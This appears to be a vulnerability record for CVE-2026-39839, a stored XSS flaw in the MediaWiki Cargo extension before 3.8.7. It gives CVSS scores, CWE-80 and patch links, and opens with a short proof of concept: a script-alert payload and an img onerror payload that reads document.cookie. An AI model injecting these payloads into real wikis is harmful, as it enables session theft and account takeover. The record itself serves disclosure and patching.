CVE-2026-39839

<!-- PoC for Stored XSS in MediaWiki Cargo Extension --> <!-- Inject payload into vulnerable parameter --> <script>alert('CVE-2026-39839')</script> <!-- Alternative payload using image tag --> <img src=x onerror=alert(document.cookie)>

{"cve": {"id": "CVE-2026-39839", "sourceIdentifier": "c4f26cc8-17ff-4c99-b5e2-38fc1793eacc", "published": "2026-04-07T20:16:33.773", "lastModified": "2026-04-15T23:50:15.143", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper neutralization of Script-Related HTML tags in a web page (basic XSS) vulnerability in Wikimedia Foundation Mediawiki - Cargo Extension allows Stored XSS.This issue affects Mediawiki - Cargo Extension: before 3.8.7."}], "metrics": {"cvssMetricV40": [{"source": "c4f26cc8-17ff-4c99-b5e2-38fc1793eacc", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:N/VI:N/VA:N/SC:H/SI:H/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 6.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "PASSIVE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "HIGH", "subIntegrityImpact": "HIGH", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "baseScore": 6.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.7}]}, "weaknesses": [{"source": "c4f26cc8-17ff-4c99-b5e2-38fc1793eacc", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-80"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:mediawiki:cargo:*:*:*:*:*:*:*:*", "versionEndExcluding": "3.8.7", "matchCriteriaId": "2DC55253-9AE6-42A2-8B71-5ED6A28A1DF8"}]}]}], "references": [{"url": "https://gerrit.wikimedia.org/r/c/mediawiki/extensions/Cargo/+/1237957", "source": "c4f26cc8-17ff-4c99-b5e2-38fc1793eacc", "tags": ["Patch"]}, {"url": "https://gerrit.wikimedia.org/r/c/mediawiki/extensions/Cargo/+/1237977", "source": "c4f26cc8-17ff-4c99-b5e2-38fc1793eacc", "tags": ["Patch"]}, {"url": "https://phabricator.wikimedia.org/T416271", "source": "c4f26cc8-17ff-4c99-b5e2-38fc1793eacc", "tags": ["Exploit", "Issue Tracking", "Vendor Advisory"]}]}}